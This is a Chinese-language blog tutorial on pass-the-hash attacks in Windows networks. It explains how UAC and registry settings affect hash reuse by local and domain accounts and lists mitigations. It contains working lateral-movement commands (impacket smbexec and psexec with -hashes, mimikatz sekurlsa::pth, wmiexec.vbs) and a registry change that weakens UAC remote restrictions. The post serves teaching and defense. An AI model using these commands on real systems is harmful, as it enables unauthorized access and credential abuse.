PTH

由于ntlm认证郭晨和kerberos认证过程都是使用用户密码的ntlm hash进行加密,因此当获取到了用户密码的ntlm hash而没有解出明文时,可以利用该ntlm hash进行pth,对内网其他机器进行hash碰撞。通过135ldap或者445横向移动到是用该密码的其他机器上。win2012 server以后的版本默认不会出现铭文密码,所以pth更为重要

本地账户和域账户pth的区别

有以下几个用户

public_user:本地普通用户

test:本地管理员组用户

administrator:本地管理员组用户

xie\hack:域用户在本地管理员组中

获取以上hash利用Imapcket进行smb远程登录

impacket-smbexec.py 

python3 smbexec.py public_user@10.211.55.3 -hashes xxx:xxxx

结果:rpc_s_access_denied

python3 smbexec.py test@10.211.55.3 -hashes xxxx:xxxx

结果:rpc_s_access_denied

python3 smbexec.py administrator@10.211.55.3 -hashes xxxx:xxxx

结过:launching semi-interactive shell -Careful what you execute

python3 smbexec.py xie/hack@10.211.55.3 -hashes 

结果:launching semi-interactive shell -Careful what you execute

是什么造成了不同用户PTH的不同结果---UAC

UAC解析

user account control,用户账户控制,是windows vista系统引入的一个新的安全组件。

UAC允许用户以非管理员权限执行常见的日常任务--成为标准用户

作为本地管理员组成员的用户账户将使用最小特权原则运行大多数应用程序。

在这种情况下,最小特权的用户具有类似标准用户账户的权限。

当本地管理员组成员必须执行需要管理员权限的任务时,windows vista会自动提示用户获得批准。

  UAC限制机制

内置的管理员账户admin进行远程连接会直接得到具有管理员凭证的令牌

非admin的本地管理员账户进行远程连接,会得到一个删除了管理员凭证的令牌。

tips:通过本地管理员组的域用户进行远程连接时,UAC不会生效,而是直接得到一个具有管理员凭证的令牌。

 

两个问题  1. 如何禁止内置的管理员账户administrator进行远程连接时得到具有管理员凭证的令牌 2.如何让非administrator的本地管理员组账户进行远程连接也得到一个具有管理员凭证的令牌

解答 1

FilterAdministratorToken

通过查看UAC组策略和注册表项设置的官方文档可以看到FilterAdministratorToken的注册表值

开启--内置的administrator进行远程连接时,都提示用户批准该行为

关闭--内置的admin进行连接时,不需要提示用户批准直接就可以获得一个完整管理员权限的令牌。 默认是关闭的

如果禁用admin远程连接获取管理员权限用以下命令

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /d 1 /f

再次执行impacket-smbclient的pth执行

python3 smbexec.py administrator@xxxx -hashes xxx:xxx

结果:失败

python3 smbexec.py xie@xxxx -hashes xxxx:xxxx 

结果:成功

域用户不受该filterAdministratorToken参数的影响

解答 2

LocalAccountTokenFilterPolicy

UAC远程连接限制是通过注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy来控制的。默认情况下高版本是没有该注册表值得

所以该参数是默认具有UAC远程连接限制的--限制普通用户组无法获取具有管理员凭证的令牌

如果想禁用UAC远程连接限制,可以在远程主机系统上执行如下命令创建localaccounttokenfilterpolicy注册表值并赋为1 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v localaccounttokenfilterpolicy /t reg_dword /d 1 /f 

修改后,限制解出,只要是本地管理员组内的用户都可以进行PTH攻击

再次使用pth攻击

python3 smbexec.py test@10.211.55.3 -hashes xxx:xxxx

结果:成功获得cmd

通过实验,不同版本的PTH过程不同

本地账户

不过如今的版本或许只能用administrator账户进行pth,

域账户

域账户不收UAC的远程连接影响

1.针对普通域主句,可以使用与主机本地管理员组内的普通域用户进行pth

2.针对域控,使用与管理员组内所有用户进行pth

利用PTH进行横向

1.使用mimikatz

mimikatz.exe

privilege::debug

sekurlsa::pth /user:administrator /domain:10.211.55.7 /ntlm:xxxx 获取一个半交互的shell

弹出的cmd窗口中,使用wmiexec.bvs获取交互式shell

cscript wmiexec.vbs /shell 10.211.55.7

2.使用impakcet进行pth

impakcet例如psexec.py smbexec.py wmiexec.py atexec.py dcomexec.py等脚本可以进行pth

使用psexec.py 脚本执行命令获取交互式shell

python3 psexec.py administrator@10.211.55.7 -hashes xxxx:xxxx

直接获取shell

微软对该pth进行的修补

protected users组的支持

restricted admin rdp模式远程客户端支持

pass the hash 增强保护

总结:

1.protected users 组的成员将无法使用ntlm,digest,credssp进行认证

2.强制使用kerberos协议进行身份

3.不使用DES和RC4加密类型进行预认证,使用aes加密进行预认证。

PTH的防御

1.将FliterAdministratorToken设置为1,禁止内置的本地管理员administrator进行远程PTH

2.监控localacounttokenfilterpolicy防止其修改为1

3.通过组策略配置设置 拒绝从网络访问此计算机和拒绝通过远程桌面服务登录 禁止本地账户通过远程桌面和网络访问计算机

4.将域内敏感用户加入protected users组

因为域内用户众多,所以不能将所有用户都加入这个组,因此防御pth比较困难

posted @ 2023-08-14 03:30  lisenMiller  阅读(67)  评论(0编辑  收藏  举报